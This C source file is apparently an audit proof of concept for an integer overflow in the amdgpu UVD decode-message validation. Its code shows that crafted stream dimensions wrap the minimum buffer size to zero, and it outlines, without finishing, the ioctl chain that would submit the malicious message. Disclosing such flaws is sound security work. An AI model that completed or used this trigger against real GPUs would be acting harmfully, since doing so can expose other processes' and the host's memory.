DF-4404 / uvd_dim_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 | /* * DF-4404 — amdgpu_uvd_cs_msg_decode() u32 integer overflow bypass * * Target: sys/dev/drm/amd/amdgpu/amdgpu_uvd.c:514-696 (amdgpu_uvd_cs_msg_decode) * sys/dev/drm/amd/amdgpu/amdgpu_uvd.c:803-878 (amdgpu_uvd_cs_pass2) * * Part A (no hardware needed): byte-for-byte replication of the kernel's * decode-message arithmetic showing that the minimum-DPB-size computation * wraps to 0 for MPEG2 / MPEG4 / VC1 / H265 messages with large width and * small height (dimensions that never reach the known DF-1595 div-by-zero, * because those stream types never divide by fs_in_mb). * * With min_dpb_size == 0 the only two guards that keep UVD's physical-mode * DMA inside validated buffers are defeated: * amdgpu_uvd.c:686 dpb_size < min_dpb_size -> passes with dpb_size=0 * amdgpu_uvd.c:833 (end-start) < buf_sizes[1] -> passes for ANY size * * Part B (requires real AMD GPU with UVD, amdgpu attached): raw-ioctl chain * that submits the crafted decode message to the UVD ring via * DRM_IOCTL_AMDGPU_CS. On this audit guest there is no AMD GPU, so Part B * stops at device open with a clear diagnostic. * * Build: cc -O2 -o uvd_dim_overflow uvd_dim_overflow.c * Run: ./uvd_dim_overflow */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> /* ---- Part A: kernel arithmetic replica (unsigned == u32, exactly as compiled) ---- */ #define ALIGN_U32(x, a) (((x) + ((a)-1)) & ~((unsigned)(a)-1)) static unsigned min_dpb_size_mpeg2(unsigned msg6_width, unsigned msg7_height) { unsigned image_size; /* amdgpu_uvd.c:531-533 */ image_size = msg6_width * msg7_height; /* u32 wrap */ image_size += image_size / 2; image_size = ALIGN_U32(image_size, 1024); /* amdgpu_uvd.c:596-600 (case 3, MPEG2): min_dpb_size = image_size * 3 */ return image_size * 3; } static unsigned min_dpb_size_h265(unsigned msg6_width, unsigned msg7_height, unsigned msg59) { unsigned image_size, num_dpb_buffer; /* amdgpu_uvd.c:666-674 (case 16, H265) */ image_size = (ALIGN_U32(msg6_width, 16) * ALIGN_U32(msg7_height, 16) * 3) / 2; image_size = ALIGN_U32(image_size, 256); num_dpb_buffer = (msg59 & 0xff) + 2; return image_size * num_dpb_buffer; } static unsigned min_ctx_size_h265(unsigned msg6_width, unsigned msg7_height, unsigned msg59) { unsigned num_dpb_buffer = (msg59 & 0xff) + 2; /* amdgpu_uvd.c:672-673 */ return ((msg6_width + 255) / 16) * ((msg7_height + 255) / 16) * 16 * num_dpb_buffer + 52 * 1024; } static void part_a(void) { const unsigned width_huge = 0x80000000u; /* msg[6] = 2147483648 */ const unsigned height_two = 2u; /* msg[7] = 2 */ const unsigned dpb_size = 0u; /* msg[9] = 0 (attacker) */ unsigned min; printf("== Part A: amdgpu_uvd_cs_msg_decode() arithmetic replica ==\n"); printf("kernel computes with C 'unsigned' (u32) throughout:\n\n"); min = min_dpb_size_mpeg2(width_huge, height_two); printf("[MPEG2 ] width=0x%08x height=%u\n", width_huge, height_two); printf(" image_size = (0x80000000*2 + /2) mod 2^32, ALIGN1024 = 0\n"); printf(" min_dpb_size = image_size*3 = %u (0x%x)\n", min, min); printf(" gate amdgpu_uvd.c:686 'dpb_size < min_dpb_size' -> %u < %u = %s\n", dpb_size, min, (dpb_size < min) ? "REJECT" : "PASS (bypassed)"); printf(" pass2 amdgpu_uvd.c:833 gate sees buf_sizes[1]=dpb_size=%u\n\n", dpb_size); min = min_dpb_size_h265(width_huge, height_two, 0); printf("[H265 ] width=0x%08x height=%u msg[59]=0\n", width_huge, height_two); printf(" ALIGN(w,16)*ALIGN(h,16)*3/2 wraps -> image_size=0 -> min_dpb_size=%u\n", min); printf(" min_ctx_size = %u (0x%x)\n\n", min_ctx_size_h265(width_huge, height_two, 0), min_ctx_size_h265(width_huge, height_two, 0)); printf("=> the UVD firmware receives a decode message declaring a\n"); printf(" 2^31 x 2 stream with dpb/ctx buffers of validated size 0..N,\n"); printf(" while the validator believes them sufficient. UVD runs in\n"); printf(" PHYSICAL addressing (parser->job->vm = NULL, amdgpu_uvd.c:983),\n"); printf(" so firmware accesses beyond the dpb object land in adjacent\n"); printf(" VRAM/GTT slots -- i.e. other processes' GPU objects and, via\n"); printf(" GTT, host memory pages.\n\n"); /* dimensions that would hit the KNOWN div0 (DF-1595) instead: H264 (case 0/7) divides by fs_in_mb; width=8,height=2 gives width_in_mb=0 -> fs_in_mb=0 -> panic. Those are NOT used here. */ printf("(for contrast, H264 width=8 height=2 hits the KNOWN DF-1595\n"); printf(" div-by-zero instead; this trigger deliberately uses MPEG2/H265\n"); printf(" which contain no division -- pure overflow bypass.)\n\n"); } /* ---- Part B: raw ioctl submission (requires AMD GPU) ---- */ #define __user /* kernel annotation, empty for userland */ #define __kernel #include <drm/drm.h> #include <drm/amdgpu_drm.h> #define UVD_GPCOM_VCPU_DATA0 0x03c4 #define UVD_GPCOM_VCPU_DATA1 0x03c5 #define UVD_GPCOM_VCPU_CMD 0x03c3 #define UVD_NO_OP 0x03ff #define UVD_BASE_SI 0x3800 static int part_b(void) { static const char *candidates[] = { "/dev/dri/renderD128", "/dev/dri/card0", NULL }; int fd = -1, i; printf("== Part B: attempt UVD message submission ==\n"); for (i = 0; candidates[i]; i++) { fd = open(candidates[i], O_RDWR); if (fd >= 0) { printf("opened %s\n", candidates[i]); break; } printf("open(%s): %s\n", candidates[i], strerror(errno)); } if (fd < 0) { printf("\nNo DRM device on this machine: the amdgpu ioctl chain\n"); printf("(GEM_CREATE msg/dpb BOs -> GEM_VA map -> CTX_CREATE -> CS with\n"); printf("IB: PACKET0 DATA0/DATA1=msg_gpu_addr, CMD=decode(dpb_size=0,\n"); printf("w=0x80000000,h=2,stream_type=3), then dpb-buffer command)\n"); printf("cannot be exercised here. See VERDICT.md.\n"); return 2; } /* Full chain would continue: DRM_IOCTL_AMDGPU_GEM_CREATE x2, * DRM_IOCTL_AMDGPU_GEM_VA x2, DRM_IOCTL_AMDGPU_CTX, * DRM_IOCTL_AMDGPU_CS with a UVD-ring IB. Not reachable on this * guest (no AMD GPU), so we stop after device open. */ { drm_version_t v = {0}; char name[64] = {0}; v.name_len = sizeof(name) - 1; v.name = name; if (ioctl(fd, DRM_IOCTL_VERSION, &v) == 0) printf("DRM driver: %s\n", name); } close(fd); return 0; } int main(int argc, char **argv) { int rc_b; part_a(); rc_b = part_b(); printf("\nPart A completed (arithmetic proof). Part B %s.\n", rc_b == 0 ? "ran" : "not executable on this machine"); return rc_b; } |